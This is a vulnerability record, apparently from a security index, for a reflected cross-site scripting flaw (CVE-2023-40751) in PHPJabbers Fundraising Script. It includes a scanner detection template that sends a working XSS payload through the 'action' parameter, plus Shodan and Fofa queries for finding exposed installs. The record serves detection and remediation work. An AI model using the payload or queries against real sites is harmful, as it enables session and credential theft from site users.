SecurityContext

CVE-2023-40751: PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01088
  • Epss percentile: 0.66213
  • Cpe: cpe:2.3:a:phpjabbers:fundraising_script:1.0:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="PHPJabbers"
  • Max-request: 1
  • Product: fundraising_script
  • Shodan-query: html:"PHPJabbers"
  • Vendor: phpjabbers
  • Verified: yes

Products

ProductIndexedUrl
phpjabbers:fundraising_scriptyes/v1/products/phpjabbers/fundraising_script

Labels

  • Name: PHPJabbers Fundraising Script - Reflected XSS
  • Impact: Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  • Remediation: Implement proper input validation and output encoding for the 'action' parameter in index.php.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to visit a crafted URL
  • Labels source: projectdiscovery
  • From cve: CVE-2023-40751

```yaml

id: CVE-2023-40751

info:

name: PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

PHPJabbers Fundraising Script v1.0 is vulnerable to Cross Site Scripting (XSS) via the "action" parameter of index.php.

impact: |

Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal fundraising administrator credentials and manipulate donation campaigns.

remediation: |

Update PHPJabbers Fundraising Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.

reference:

- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f

- https://nvd.nist.gov/vuln/detail/CVE-2023-40751

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-40751

cwe-id: CWE-79

epss-score: 0.01088

epss-percentile: 0.66213

cpe: cpe:2.3:a:phpjabbers:fundraising_script:1.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

shodan-query: html:"PHPJabbers"

fofa-query: body="PHPJabbers"

vendor: phpjabbers

product: fundraising_script

tags: cve,cve2023,phpjabbers,fundraising,xss,vuln

http:

- method: POST

path:

- "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "<img src=x onerror=prompt(document.domain)>"

- "didn't exists"

condition: and

- type: word

part: content_type

words:

- text/html

- type: status

status:

- 200

digest: 4a0a00473045022100b4d5bfea6cf8ff05d85d2488528098a42da3547f0291dd689f53f5bd5632e12c022034f269581cdfc5f1ab4e7e3a2676a6c1b39128ebf37244d9e793f586453d518e:922c64590222798bb761d5b6d8e72950

```